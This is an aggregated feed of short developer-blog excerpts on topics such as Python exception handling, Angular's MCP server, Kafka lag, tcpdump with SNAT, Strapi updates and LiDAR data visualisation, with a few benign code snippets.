    🧠 Day 63 of My #RamyaAnalyticsJourney — Exception Handling in Python Hello everyone! 👋 Day 63 of my Data Analytics learning journey. Exception Handling — which helps make our programs more reliable and user-friendly. In Python, Exception Handling is a way to manage errors that occur during program execution. catch and handle those errors gracefully. An exception is an event that disrupts the normal flow of a program. ✅ Prevents program crashes try: # Code that might cause an error x = 10 / 0 except ZeroDivisionError: # Code that runs if an error occurs print("Error: You can’t divide by zero!") else: # Code that runs if no error occurs print("Division successful!") finally: # Code that always runs print("Execution completed.") Error: You can’t divide by zero! Execution completed. We can also raise our own exceptions using the raise keyword. age = int(input("Enter your age: ")) if age < 18: raise ValueError("You must be at least 18 years old.") else: print("You are eligible!") If the user enters a number less than 18, Python will raise a custom error message. Keyword Description try Block where you place the code that may throw an exception except Handles the exception if it occurs else Executes if no exception occurs finally Executes whether an exception occurs or not raise Used to throw an exception manually Understanding Exception Handling is crucial for writing clean, safe, and professional Python code — especially in data analytics projects where errors can appear from data input, file reading, or API requests. Every small concept learned builds confidence towards becoming a Data Analyst 💪 Python #DataAnalytics #Coding #ExceptionHandling #RamyaAnalyticsJourney #LearnToCode  ( 7 min )
    **Bias Mitigation through Data Augmentation**
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    Variable and Objects in Java
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    AI in Content Marketing: 2025 Strategy Guide
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    # 🛠️ Fixing “No Valid Android SDK Root Found” Error in WSL (Ubuntu)
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    AI Content Marketing: 2025 Strategies That Actually Work
    AI Content Marketing: 2025 Strategies That Actually Work You've heard the hype about AI in content marketing. ChatGPT this, automation that, efficiency everywhere. But here's what most articles won't tell you: 87% of marketers using AI tools report they're still struggling to see meaningful ROI, according to a 2024 HubSpot survey. The problem isn't AI itself. It's how you're using it. While your competitors are churning out generic AI-written blog posts that rank nowhere and convert nobody, a small group of marketers has figured out something different. They're using AI not to replace human creativity, but to amplify it in ways that create genuine competitive advantages. This article breaks down exactly what they're doing—and what you should start doing today. Google's March 2024 core up…  ( 13 min )
    A Quick Vibe Code Experiment with Angular's MCP Server
    Angular has an experimental Model Context Protocol (MCP) server! MCP is a protocol developed by Anthropic that defines the interactions between a MCP client and MCP servers. Many IDEs now feature AI capabilities, including the ability to act as an MCP client. MCP clients utilize Large Language Models (LLMs) to process natural language conversations and then connect to various MCP servers to execute commands. Let's use AI and Angular's MCP server to create a Todo app without writing any code and see how this experiment progresses. This post guides you through the process of configuring Angular’s MCP server in your IDE, organizing agent instructions, and testing how effortlessly we can vibe code a modern Angular app. Pre-requisities You'll need an IDE with access to AI capabilities. I'm usi…  ( 17 min )
    Why Every Developer Should Understand the Learning Science Behind AI
    Artificial intelligence isn’t just changing what developers build — it’s changing how they learn. Every time you debug with ChatGPT, refactor code using Copilot, or explore documentation through AI search, you’re interacting with a system built on learning science. Understanding that science — how machines process information and how humans absorb it — is becoming a crucial edge for developers. It’s the bridge between technical skill and adaptive intelligence, and it’s redefining developer education for the AI era. The Hidden Learning System Behind Every AI Model Every AI tool — from LLMs to adaptive coding assistants — is, at its core, a learning system. It learns through exposure, error correction, and pattern recognition — the same principles that govern human learning. The difference…  ( 7 min )
    AWS Builder Center: Connect, Learn, and Build with the Cloud Community
    We're excited to partner with and share AWS Builder Center with the community: AWS Builder Center is a place to connect with builders who understand your journey. You can share solutions, influence AWS product development, and access useful content that accelerates your growth. Join the Community AWS Builder Center integrates the previous AWS Developer Center and community.aws for a cohesive experience to connect, learn, and influence the platform you build on. Access hands-on tutorials, workshops, and interactive resources tailored to every skill level. Explore AI playgrounds, discover new tools in the Toolbox, and experiment with AWS services through the Free Tier—all organized to support your actual building journey. Find AWS Heroes, Community Builders, User Groups, and Cloud Clubs a…  ( 7 min )
    From Coders to Knowledge Architects: The Next Phase of Developer Learning
    The age of the lone coder is ending. Developers are no longer just writing lines of code — they’re designing the systems through which knowledge itself is built, shared, and evolved. As AI becomes an active collaborator in creation, the new frontier of developer growth lies in knowledge design — learning how to structure intelligence, not just software. The best developers of tomorrow will be knowledge architects, shaping how machines and humans learn together. When AI Becomes Your Coding Partner Developers no longer tell the computer what to do; they teach it how to think. AI collaboration becomes more than productivity — it becomes pedagogy. Developers are learning to express reasoning, not just syntax. They’re designing architectures of understanding that machines can interpret, replica…  ( 7 min )
    Dancing in the Clouds: Moving Dancer2 Apps from a VPS to Cloud Run
    For years, most of my Perl web apps lived happily enough on a VPS. I had full control of the box, I could install whatever I liked, and I knew where everything lived. In fact, over the last eighteen months or so, I wrote a series of blog posts explaining how I developed a system for deploying Dancer2 apps and, eventually, controlling them using systemd. I’m slightly embarrassed by those posts now. Because the control that my VPS gave me also came with a price: I also had to worry about OS upgrades, SSL renewals, kernel updates, and the occasional morning waking up to automatic notifications that one of my apps had been offline since midnight. Back in 2019, I started writing a series of blog posts called Into the Cloud that would follow my progress as I moved all my apps into Docker contain…  ( 12 min )
    Create a webpage using JavaScript and the DOM where a button becomes disabled after the user clicks it
    Today we are discuss about the above topic. When the user give the input and showing the button to click, and initially when the user not given output the button has disabled. First we are creating the h1 element for just storing the title(display button after click),and we use the input to get the input from the user and finally we use the button tag and it is used to clickable action. program: Document display button after click show function click1() { const input = document.getElementById("input") const display = document.getElementById("btn") if (input.value.length > 0) { display.disabled = false } else { display.disabled = true } }  ( 6 min )
    Python basics - Day 27
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    Model Driven App: disable "Open in Excel Online" button
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    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
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    Tipos que programam: construindo um encoder Base64 em tempo de compilação
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    Why Coursiv Believes the Developer of the Future Is Also a Teacher
    The developer of the future won’t just write code — they’ll teach intelligence. As automation accelerates and AI tools become co-authors of software, technical expertise alone won’t define excellence anymore. What will matter most is how developers communicate logic, structure learning, and transfer knowledge — both to machines and to each other. That’s why Coursiv believes the next era of developer education will belong to those who see coding not as command, but as conversation. From Coders to Cognitive Designers The rise of generative AI has transformed how developers think about their work. Writing code is no longer just syntax — it’s semantics, storytelling, and teaching. Every prompt, model fine-tune, or line of pseudocode is a form of instruction: you’re teaching the system how to…  ( 7 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 5 - 'Lady Bird’
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    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
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    Project standards in Umami codebase - Part 1.1
    Inspired by BulletProof React, I applied the codebase architecture concepts to the Umami codebase.  Project standards in Umami codebase — Part 1.0  In this part 1.1, we review the following project standards in Umami codebase: ESLint configuration. Prettier configuration. Stylelint configuration. ESLint configuration. ESLint statically analyzes your code to quickly find problems. It is built into most text editors and you can run ESLint as part of your continuous integration pipeline. You will find the following code in umami/.eslintrc.json { "env": { "browser": true, "es2020": true, "node": true, "jquery": true, "jest": true }, "parser": "@typescript-eslint/parser", "parserOptions": { "ecmaFeatures": { "jsx": true }, "ecmaVer…  ( 8 min )
    AI-Powered Android Browsers That Boost Productivity with ChatGPT Integration
    Mobile professionals face a persistent challenge: accessing powerful AI assistance requires switching between applications, disrupting workflows, and reducing productivity. AI-powered Android browsers with native ChatGPT integration address this inefficiency by embedding conversational AI directly into the browsing environment, enabling seamless transitions between information discovery, content creation, and task execution. Implementation data from a 2023 Harvard Business School and Boston Consulting Group study found that professionals using generative AI completed tasks 25.1% more quickly and produced 40% higher quality results than those without (Dell’Acqua et al., 2023, "Navigating the Jagged Technological Frontier: Field Experimental Evidence of the Effects of AI on Knowledge Worker …  ( 11 min )
    Smarter Ai Agents with Caching, Building cache_utiles
    When building AI agents or LLM-powered systems, one of the biggest performance challenges is managing expensive computations, model loading, embeddings, and repeated API calls. Each time your agent recomputes something it could’ve cached, you lose both time and tokens. That’s why I built cache_utiles, a lightweight Python toolkit that brings LRU caching, memory control, and result persistence to AI workflows. This module includes three key utilities that make AI pipelines faster and more efficient: Class Description MemoryCache Generic LRU cache with memory limit (in MB). Ideal for large LLM responses or embeddings. ModelLRUStore Keeps a limited number of loaded model instances in memory, avoiding repeated reloading. ResultCache Caches computed results with TTL and LRU eviction. Perfect for embeddings, API responses, etc. MemoryCache, Control Memory Like a Pro A flexible, thread-safe cache that automatically removes the least recently used items once the memory cap is reached. from cache_utils import MemoryCache # Create a cache with a 100MB limit cache = MemoryCache(max_size_mb=100) # Store responses cache.set("response:123", {"text": "Hello, world!"}) # Retrieve them later print(cache.get("response:123")) # {'text': 'Hello, world!'} # View cache stats print(cache.stats()) # {'entries': 1, 'used_MB': 0.01, 'max_MB': 100.0} ` Perfect for LLM results, embeddings, or any intermediate computation your agents reuse often. These caching layers make a real difference in AI and LLM systems: Reduce API & compute costs Speed up inference and responses Prevent memory leaks Thread-safe for concurrent agents Easy to integrate with LangChain, LlamaIndex, or any custom framework Pure Python, no heavy dependencies Optional: pympler for advanced memory tracking LRU + TTL eviction strategies MIT licensed and open source 👉 Full project: CodingStation/cache_utiles pip install pympler # Optional dependency Start caching smarter today!  ( 6 min )
    Spring ShedLock
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    Unstitched Fabric Online – Bringing Custom Fashion to Your Doorstep
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    The Code Vault
    *The Code Vault Once upon a time, there was a golden age of programmers — artisans of the unseen, sculptors of pure logic. Companies, mesmerized by this new glow of autonomy, quietly flipped the game. Thus began the new deadly game of the digital age. The modern programmer must face a truth few dare to confront: Master your tools — don’t surrender them. And let this manifesto echo in every line of code: “Don’t be a piece on the board. Be the player. https://www.linkedin.com/posts/leandro-rodriguez-lopez-47005a2a_httpslnkdind5zxrb6j-o-cofre-dos-c%C3%B3digos-share-7394763458128281600-j564?utm_source=share&utm_medium=member_desktop&rcm=ACoAAAYO-xQB4IrdpBbx894ExDsyRFG0ydWDhBQ  ( 6 min )
    🚀 Blue/Green Deployment, Ensuring Zero Downtime Deployments
    🧠 Introduction In modern software development, high availability and continuous delivery are key goals. Users expect applications to be online 24/7 — and even a few seconds of downtime can affect user experience and trust. That’s where Blue/Green Deployment comes in. It’s a DevOps strategy that helps teams deploy new versions of applications safely, test in production-like environments, and roll back instantly if needed. 🎯 What Is Blue/Green Deployment? Blue/Green Deployment is a release strategy that uses two identical environments: Blue Environment → The current live (production) version. Green Environment → The new version (ready to replace Blue). Instead of updating the running application directly, you deploy the new version to Green, test it, and then switch the traffic from Blue t…  ( 7 min )
    Reproducible Dev Environments
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    Tcpdump and SNAT on Linux NAT Server: Why Outgoing SNAT Packets Don’t Appear in Captures (and How to Fix It)
    When troubleshooting NAT traffic, many administrators face a confusing scenario — tcpdump doesn’t capture outgoing SNAT (POSTROUTING) packets. why that happens, visualizes the packet flow, and shows how to capture post-SNAT packets correctly. tcpdump captures packets before NAT (SNAT) occurs. before the POSTROUTING chain. In other words, tcpdump uses packet capture hooks from the kernel’s AF_PACKET socket layer. as they enter or leave a network interface, but not after all iptables nat table processing — especially not after SNAT. Simplified Packet Flow: Incoming packets ↓ [PREROUTING] (DNAT) ← tcpdump sees here ↓ Routing / local process ↓ [POSTROUTING] (SNAT) ← tcpdump does NOT see here ↓ Network device SNAT takes place in the POSTROUTING chain, which modifies pac…  ( 8 min )
    Optimize Your ForgeRock IDM MySQL Repository with these Performance Tuning Best Practices
    When it comes to ForgeRock IDM, a well-optimized MySQL repository is crucial for seamless authentication and authorization. However, without proper configuration, your system may experience slow query performance, increased storage usage, and even crashes. To avoid these issues, it's essential to implement the right performance tuning and configuration strategies. At IAMDevBox.com, we've put together a comprehensive guide to help you optimize your ForgeRock IDM MySQL repository. In this article, we'll cover the top best practices for query optimization, storage management, and more. Read more: Optimize Your ForgeRock IDM MySQL Repository with these Performance Tuning Best Practices  ( 6 min )
    The Production-Ready GenAI Platform: A Complete AWS Architecture for Codified Governance
    The Production GenAI Platform: An AWS-Native Deep Dive (And Why Governance Must Be Codified, Not Documented) Most teams building with LLMs are discovering the same painful truth: GenAI doesn’t fail because of the model. Prompt engineering, agents, and embeddings get the attention — but the hard problems live deeper: 🌐 Networking 🔁 Data lineage 🧩 Vector integrity 🔍 Retrieval correctness 💸 Cost blowouts 🔄 Model drift 📡 Observability gaps 🛢️ Governance that exists in Confluence instead of code This post is a practical, end-to-end walkthrough of what a production-grade, AWS-native GenAI platform really looks like in 2025. Not the slide-deck version. The version that survives: 🧾 Real compliance 🔐 Real security threats 📈 Real scaling 💵 Real budgets 🕵️ Real audits And most importantl…  ( 9 min )
    Understanding Kafka Lag: Causes and Mitigation Strategies
    Introduction Apache Kafka is a distributed streaming platform widely used for building real-time data pipelines and streaming applications. Kafka's ability to handle high-throughput, low-latency data streams makes it a critical component in modern data architectures. However, one common challenge encountered by Kafka users is Kafka lag, which refers to the delay between when messages are produced and when they are consumed. This article explores the reasons behind Kafka lag, its impact on system performance, and practical methods to reduce or eliminate it. Technical explanations are supported by code examples and configuration snippets to provide a comprehensive understanding. Kafka lag is the difference between the latest offset available in a Kafka partition (the producer's position) a…  ( 9 min )
    Why Your SWOT Analysis Is Probably Useless: The AI Template That Changes Everything
    Everything you know about SWOT analysis is wrong. That five-minute box-checking exercise you do quarterly? It's not strategic planning—it's organizational busywork that lulls executives into false confidence while competitors zoom past. The truth? Most SWOT analyses read like corporate Mad Libs. Same generic points, same obvious insights, same zero-impact recommendations. They're strategic placeholder content, not real business intelligence. After watching companies collectively waste millions on useless strategic documents, I approached SWOT like an engineering problem. Instead of another template that generates more blah content, I built an AI prompt that forces genuine strategic thinking. The data on SWOT effectiveness is actually terrifying when you dig into it: 68% of strategic plans …  ( 12 min )
    GPT-5.1: A smarter, more conversational ChatGPT
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    Wallet-as-a-Service: the Infrastructure Layer Behind Crypto Adoption
    For developers and fintech teams, integrating crypto rarely means a simple process. Each asset - from Bitcoin to USDT - operates on different blockchains, with its own APIs, fee models, and compliance logic. Supporting dozens of networks quickly turns into an infrastructure challenge rather than a feature update. Building a wallet system in-house demands node maintenance, private key management, and continuous updates - all under strict AML/KYC requirements. Wallet-as-a-Service (WaaS) changes that model. It abstracts the technical foundation of crypto wallets into a secure, scalable API layer. Key functions such as transaction validation, blockchain synchronization, address generation, and risk monitoring are managed by the provider. For developers, this means: WaaS allows teams to focus on user experience, analytics, and product differentiation, rather than rebuilding blockchain infrastructure. As competition among fintechs accelerates, speed and reliability become strategic priorities - and delegating infrastructure to specialized providers becomes a logical step. A deeper look at this transformation is available in the full CoinMarketCap article.  ( 6 min )
    Software Development Lifecycle Explained: A Beginner-Friendly Guide
    Running a small business in today’s digital world means relying on technology—whether it’s a custom website, mobile app, or business management software. But when it comes to development, many business owners feel lost in the technical jargon. That’s where understanding the Software Development Lifecycle (SDLC) makes all the difference. Planning: Define goals, target users, and problems your software will solve. Design: Developers create the blueprint—interface design, structure, and features. Development: The actual coding phase where your vision becomes real. Testing: Identifies bugs and ensures everything works smoothly. Deployment: Your software goes live and becomes available for users. Maintenance: Regular updates keep it secure and running perfectly. Evaluation: Reviewing results to measure success and plan improvements. Choosing the Right Approach For most small businesses, Agile is the best development model. It allows flexibility, frequent updates, and quick adjustments—perfect for startups or growing companies with changing needs. Common Mistakes to Avoid • Skipping proper planning. • Choosing the wrong development partner. • Ignoring maintenance. • Adding unnecessary features that don’t serve your goals. Final Thoughts At Debtech LLC, we help small businesses navigate every stage of development—from idea to launch and beyond. Whether you need a custom app, modern website, or complete software solution, our team ensures your project is built to perform and grow with your business. Ready to start your project? Contact Debtech LLC today to transform your idea into a digital success story.  ( 7 min )
    Are you the next card game designer for OWASP Cornucopia Website Edition v3.0? Then get in touch with us for fame and glory!
    OWASP Cornucopia 3.0 - A call for card game designers! Johan Sydseter for OWASP® Foundation ・ Nov 13 #gamedev #security #design #webdev  ( 6 min )
    AI: क्या है और इसका भविष्य || What is AI & It's Futute || #ai #tech
    https://youtu.be/_HuOi1NoTmk  ( 5 min )
    Building a Simple Personal Library with Python: My Experience from Zero to Execution
    Hey there, fellow coders and productivity hackers! In this article, I’m pulling back the curtain on Personal Library Manager, a clean, practical command-line tool I built in pure Python to keep track of every book I’ve read or want to read, no bloated apps, no spreadsheets, just a lightweight CLI that actually gets used daily. This project is ideal for intermediate Pythonistas who want to master modular design, JSON persistence, input validation, and polished terminal UX, all without a single external dependency. I’ll walk you through my full journey: from the initial idea, through clean architecture, real-world debugging, and those “aha!” moments that turned a weekend script into a tool I open every single day. My goal? To show you how to build real, useful software, not just another …  ( 23 min )
    BetterAuth Integration with Encore.ts
    Authentication is essential for most applications, but implementing it securely requires careful attention to session management, password hashing, and security best practices. BetterAuth is a modern, open-source TypeScript authentication framework that handles these complexities while remaining lightweight and flexible. In this tutorial, we'll build a complete authentication backend using BetterAuth and Encore.ts. You'll learn how to set up user registration, login, session management, and protected API endpoints with full type safety from backend to frontend, while Encore handles infrastructure provisioning and provides built-in observability. BetterAuth is a comprehensive TypeScript authentication framework designed for modern web applications. It provides: Email & Password Authenticati…  ( 17 min )
    From raw bytes to 3D worlds: visualizing LiDAR data with Python
    Ștefan Donosă | 2025 In my previous article, I detailed the detective work required to reverse-engineer the M1C1 rotational LiDAR. We cracked the protocol, identified the "Ghost packets" that were breaking our navigation stack, and learned how to parse the raw hex data. But a stream of numbers in a terminal isn't enough for a robot—or a human—to navigate. We need a map. In this article, I will walk you through the exact Python implementation used to transform those raw bytes into: A high-precision 2D grid map for obstacle avoidance. A cinematic 3D visualization (5K resolution) that mimics a SLAM point cloud. Before writing code, we need to handle the geometry. The LiDAR doesn't give us X and Y coordinates; it gives us polar coordinates. The sensor reports: Angle (theta): The direction th…  ( 11 min )
    Reverse Engineering the M1C1 LiDAR: cracking the protocol without documentation
    Ștefan Donosă | 2025 In the world of robotics, sensors are the eyes of the machine. For the development of a custom autonomous navigation algorithm, I selected the M1C1 Rotational LiDAR. It is a cost-effective sensor ideal for mass production, but it came with a significant caveat common to low-cost hardware: a near-total absence of technical documentation. The lack of a datasheet or integration guide became a major roadmap blocker. Without knowing how to interpret the stream of bytes flowing from the serial port, the sensor was useless. Rather than switching to a more expensive, well-documented alternative, I decided to reverse engineer the communication protocol to integrate it into our navigation stack. Before I could write a single line of code, I had to establish a physical connection…  ( 13 min )
    Earn Extra Passive Income as a Developer — Without Taking on More Work
    Most developers today want one thing: But freelancing is exhausting. Managing clients is a job by itself. And taking on an actual second job? That’s usually impossible unless you want to give up sleep. But what if you could earn thousands of dollars in extra income every month — without having to spend nights and weekends coding? Yes, that’s exactly what we built. 🧩 The Problem With Earning “Extra Money” as a Developer If you’ve tried freelancing or side gigs, you already know the pain: Endless proposals Unreliable clients Constant context-switching Meetings, deadlines, scope changes Chasing payments No guarantee of stable income You end up spending more time managing the job than actually doing the work. Most developers want extra money — they just don’t want all of that. 💡 A Different …  ( 7 min )
    Debugging Your B2B Sales Funnel: 5 Patches for Common Conversion Leaks
    As developers, we're obsessed with optimization. We refactor code, hunt down memory leaks, and tune database queries to shave off milliseconds. But what if the biggest performance bottleneck in your company isn't in the codebase, but in your sales funnel? A leaky B2B sales funnel is like an application with a critical bug that silently drops user data. It wastes resources (marketing spend, engineering time on features no one sees) and kills growth. The good news? You can apply the same systematic, analytical mindset you use for debugging code to patch the leaks. Let's stop treating sales as a mysterious art and start treating it like the system it is. Here are five actionable strategies to debug and optimize your B2B sales funnel. You wouldn't ship an application without logging and monito…  ( 10 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Tired of endless prompt tweaking? In this video, you’ll learn four killer ChatGPT hacks that halved my AI workflow time: the Prompt Reversal Technique (feed the bot the perfect answer so it reverse-engineers your prompt), the 5-Minute Amplifier (spin one piece of content into blog posts, emails, tweets and more), the Red Team Technique (get AI to critique and polish its own work), and Blueprint Scaffolding (make it outline its reasoning before diving in). These tricks come with real examples you can use across any role or industry—no more trial-and-error, just seriously efficient output. Watch on YouTube  ( 6 min )
    How engineers can use one-on-ones with their manager to grow their career
    One-on-one meetings with your manager are powerful tools for career acceleration that many engineers underutilize. Here's how to transform these sessions from status updates into career-defining conversations. Stop treating one-on-ones as mini standups. These meetings aren't for project updates – they're for strategic thinking about your growth and development. Your manager can't read your mind or advocate for opportunities they don't know you want. Think of your manager as a decision-making API: provide clear inputs about your goals, challenges, and aspirations, then work together on optimal outputs for your career. Come to each meeting with: What's working well: Celebrate wins and successful implementations Current blockers: Not just technical, but career and growth obstacles Growth area…  ( 7 min )
    I’m building an open-source Habit Tracker app!
    Hey everyone, I’ve been working on a simple habit tracker app built with React Native. The idea is to make it clean, minimal, and easy to use. Once I finish building it, I’m planning to open-source the entire code. Anyone will be able to use it freely, customize it, or even build something totally new from it. My goal is to share something useful that other makers can take and remix in their own way. You can check out the project here: 👉 https://gethabittracker.vercel.app  ( 6 min )
    DNA test confirms Dr Umar Nabi Bhat drove i20 that blew up near Red Fort
    Forensic DNA Analysis Confirms Driver Identity in Red Fort Explosion: A Technical Deep Dive 👋 Hi, I'm a data scientist interested in the intersection of technology and forensics. The recent explosion near the Red Fort in Delhi has been a subject of intense investigation. Law enforcement has now confirmed, through advanced DNA analysis, that Dr. Umar Nabi Bhat was the driver of the i20 vehicle involved in the incident. While news outlets are covering the story, let's delve into the technical aspects of how DNA evidence is used in such high-profile investigations. This isn't about the criminal case itself, but rather a look at the science behind the identification. DNA, or deoxyribonucleic acid, is the hereditary material in humans and almost all other organisms. Each person's DNA is uniq…  ( 8 min )
    Blockchain for Beginner Developers
    This writeup is for someone who wants to learn the basics and understand the system in simpler terms. Blockchain is a record or log of all the Transactions that happened on the network. A Transaction is any action or event recorded on the blockchain. For example, a social media app: In current system, a centralized app like Instagram, all your posts and data are stored on Meta’s servers, which control access and rules. In a blockchain-based social app, your posts are stored across many nodes — no single company owns or can delete your data, since it’s shared and verified by the network. A block is a list of transactions(actions). It also has timestamp, hash (block’s unique id) and previous block’s hash. Block has block size, a limit of how many transactions can be stored. The size is usua…  ( 8 min )
    Building a Secure DAL: Composable Multi-Tenancy Filtering with C# and Linq2Db
    Securing a multi-tenant application means enforcing strict data isolation. This cannot be left to business logic, but it must be guaranteed at the Data Access Layer (DAL). We built upon our existing enterprise DAL foundation to implement automated, non-bypassable multi-tenancy filtering. This article summarizes the key architectural steps for senior engineers and architects looking to solve this critical cross-cutting concern. The goal is to ensure that every query executed against a tenant-aware entity is automatically filtered by the current tenant's ID. We need this filter to compose seamlessly with other existing global filters, such as soft-delete. Our DAL must be tenant-aware. We update our base database context interface, IDbCtx, to hold request-scoped attributes, starting with the …  ( 7 min )
    🚀 Building My First Full-Stack Todo App with React + Supabase ⚛️
    Access link: https://sripadh.netlify.app Frontend: React Js ⚛️ Google Sign-In with Supabase Auth Add, edit, delete todos (CRUD) User-specific todo lists (secure and scoped) Mobile-responsive UI with clean CSS Protected routes without React hooks Keeping the code minimal and explicit — no magic, just clear logic Handling auth and route protection without hooks or async/await Making sure the app works well on mobile devices Deploying securely with hidden API keys and source code protection Try it out: https://sripadh.netlify.app  ( 6 min )
    Think. Update. Automate — PostgreSQL with Rust (Part 2)
    💡 What if your database could think for itself? In Level 3 – Part 2 of PostgreSQL with Rust, the database is no longer passive — it now reacts instantly to data changes through smart automation and triggers. Here’s what the Teacher Assistant App database now does automatically: attendance and grades in real time reports the moment marks change No manual updates. No redundant backend code. 📘 Read the full post: Part2: PostgreSQL Triggers Next on Techn0tz → Exploring how Rust is quietly powering the technologies of the future. 💬 Feedback helps shape Techn0tz — share your thoughts in the comments! Thanks for reading🌱 – Manjusha (Techn0tz)  ( 6 min )
    How To Build a Frontend with Lovable.dev for Your Strapi Backend
    This is my first time using Lovable to build a frontend for a Strapi backend. Here's what I learned. AI tools like Lovable.dev and Claude Code help you bring ideas to life faster. They're great for quick prototypes and trying new approaches. But they're not magic—they're tools. Like any tool, they have strengths and weaknesses. Success comes from knowing what each tool does well and using it appropriately. You still need to understand what you're building. You need to know your data structure, the problems you're solving, and your tech stack. And yes—you still need to know how to code. These tools are powerful, but they sometimes hallucinate or create errors. The better you understand your project structure and how AI tools work, the better your results will be. In this post, I'll walk you…  ( 37 min )
    Closures Explained in minutes (🎒 Backpack Analogy)
    Ever wondered why some functions "remember" things even after they should've been forgotten? Like: "How does this function still know that variable?!" 🤯 Congratulations — you just met one of JavaScript's most powerful (and confusing) features: Let's break it down super simply. No CS degree needed. When a function runs, it's like a person going on a trip. Before they leave, they pack a backpack with everything they might need: Variables from their current location Variables from their parent's house (outer function) Even grandparents' stuff if needed That backpack? That's a closure. The function carries it everywhere, even after leaving home. function parent() { const secret = "🔑 Secret key"; function child() { console.log(secret); // Child still has access! } return child; …  ( 8 min )
    How QBurst Migrated a Luxury Brand from Strapi v4 to Strapi 5
    Overview QBurst Technologies, a digital engineering company, partnered with a global luxury retail brand to elevate their content management capabilities. Over a focused three-month project, the team migrated the brand’s digital ecosystem from Strapi v4 to v5, enhancing performance, scalability, and editorial workflows. Leveraging a modern tech stack including Strapi, Next.js, Node.js, and AWS, QBurst helped the client future-proof their CMS infrastructure while delivering a seamless upgrade experience. The client, a global luxury retail brand, had successfully used Strapi v4 to manage content across its website. While v4 had been a stable foundation, the upcoming transition to Strapi v5 opened up a valuable opportunity to strengthen their digital ecosystem: Future Support & Security: Mi…  ( 9 min )
    The Right Way to Structure a Dedicated Software Development Team
    Building a successful Dedicated Software Development Team isn’t about hiring more people it’s about structuring them the right way. When done correctly, the results go beyond productivity. You get faster releases, fewer communication gaps, and a team that feels like an extension of your business. Drawing from proven research and Softura’s 26+ years of experience, here’s how you can structure dedicated teams that deliver consistent value. The size of your team directly affects how efficiently it can communicate and execute. Studies show that the ideal team size is 3 to 7 members. Anything larger increases communication overhead, leading to delays and confusion. Here’s why: The number of possible communication lines in a team grows exponentially. A 5-person team has 10 communication paths…  ( 10 min )
    Build a PDF Generation Engine with Next.js, Puppeteer, and Strapi
    Introduction & What You'll Build In many industries, PDF generation has become a core requirement, whether it's for invoices, reports, or certificates, which are very important. In this article, you will learn how to use Next.js, Puppeteer, and Strapi to build a PDF generation engine. The engine seamlessly integrates content from the Strapi backend, server-side rendering using Next.js, and web to PDF using Puppeteer. You are expected to be familiar with Node.js and Next.js. Node.js version requirements (e.g., "Node.js 18.x or higher") npm or yarn version Basic TypeScript knowledge Understanding of REST APIs Familiarity with React hooks Terminal/command line basics A code editor (VS Code recommended) By the end of this article, you will be able to easily build the frontend pages below…  ( 22 min )
    I Released My First iOS App: TripWise Luggage Planner – Your Smart Luggage Planner
    Hey everyone! TripWise helps you pack smarter and stress-free before your trips. It’s been a great learning experience building this app from scratch using SwiftUI — especially as my first step into iOS development. https://apps.apple.com/tr/app/tripwise-luggage-planner/id6752217451?l=tr If you have feedback, feature ideas, or just want to support — I’d love to hear from you! Thanks for reading, and happy packing!  ( 6 min )
    Strapi Community Call: Strapi AI, Media Library AI, Plugin Generators (with Boaz) & Q&A
    We just wrapped a jam-packed Strapi community call, and if you couldn’t make it live, here’s a recap with the big updates, why they matter, and how to try them. Strapi AI, Plugin Generators, Cloud Upgrades, and New Starters. Strapi AI can now generate content types from Figma files, existing project code, or plain prompts. Media Library AI can auto-create image alt text and captions. Plugin generators (demoed by Boaz) make building plugins way faster by scaffolding content types, controllers, routes, and services—right inside your plugin. Strapi Cloud added project transfer, downloadable SQL backups, and a smoother multi-environment flow. Admin UX got better: homepage widgets (now draggable), first steps toward a responsive admin, and conditional fields support in custom fields. OpenAPI sp…  ( 9 min )
    Strapi AI is now Generally Available, DX Upgrades and Cloud Improvements!
    Today, we are excited to announce several new features and improvements, with a focus on enhancing developer productivity, leveraging AI-powered automation, and optimizing our cloud infrastructure. Here is what is new across our core products. Strapi AI: Generate your content model from natural language, Figma, or frontend code, auto-create image metadata, and accelerate both project setup and management. Developer Experience: Conditional Field Support in Custom Fields and OpenAPI spec generation. Content Managers Productivity: Live Previews, Responsive Admin panel, and new Homepage widgets! Cloud Platform Improvements: Self-service project transfers, downloadable backups, and proactive usage alerts. Strapi AI, now generally available, is not just another feature; it is the foundational s…  ( 9 min )
    Bicycles Are All Your AI Agents Need
    From Condors to Code Somewhere between a condor and a keyboard lies human genius. Steve Jobs once told a story about how humans are terrible movers compared to animals. The condor beats us easily in the race of energy efficiency, but put a person on a bicycle and they fly. Great agents sit on top of small, sharp Python functions. They are plain, predictable, and fast. Specialize each function. Do one job well, then compose. # Bad: Swiss-army function def create_user(name, email, send_welcome=True, log=True): user = db.save(name, email) if send_welcome: send_email(email, "Welcome!") if log: logger.info(f"User {name} created") return user # Good: Focused, composable tools def save_user(name: str, email: str) -> dict: return db.save(name, email) def sen…  ( 8 min )
    Les développeurs du futur sauront interpréter l’IA, pas la craindre.
    Le vrai futur du code : ceux qui comprennent l’IA, pas ceux qui la craignent L’époque où “savoir coder” suffisait est révolue. Depuis deux ans, l’industrie technologique a connu un basculement radical. Moi, je crois qu’il est temps de changer de posture. Développeurs : arrêtez d’apprendre des frameworks. Apprenez à interpréter l’IA. Apprendre un nouveau framework aujourd’hui, c’est comme apprendre une nouvelle langue… pendant qu’un traducteur instantané vient d’être inventé. Les développeurs qui survivront à cette transformation ne seront pas ceux qui connaissent les dernières syntaxes de React ou de Laravel. Diriger l’IA avec précision. (Formuler des prompts clairs, structurés, efficaces.) Évaluer le code généré comme un vrai architecte. (Qualité, performance, sécurité.) Comprendre les sy…  ( 8 min )
    College Projects to Production Code: Mindset Shifts Every Beginner Developer Must Make
    When I wrote my very first “real” application outside of college, I thought I was ready. After all, I had built a chat app, an e-commerce prototype, a few AI models, and even a “weather app that totally worked if the API didn’t fail.” div. Reality greeted me like a silent CSS bug at 3 AM. College projects are great for learning how to code; they’re terrible for learning what production code really demands. Transitioning from academic assignments to professional software engineering is not just about learning new tools — it’s about shifting your mindset. This post is a reflection of everywhere I stumbled, improved, and finally learned to build software that other people (gasp) depended on. Here are the mindset shifts every beginner developer must make to thrive in the real world. Everywhere…  ( 10 min )
    OWASP Cornucopia 3.0 - A call for card game designers!
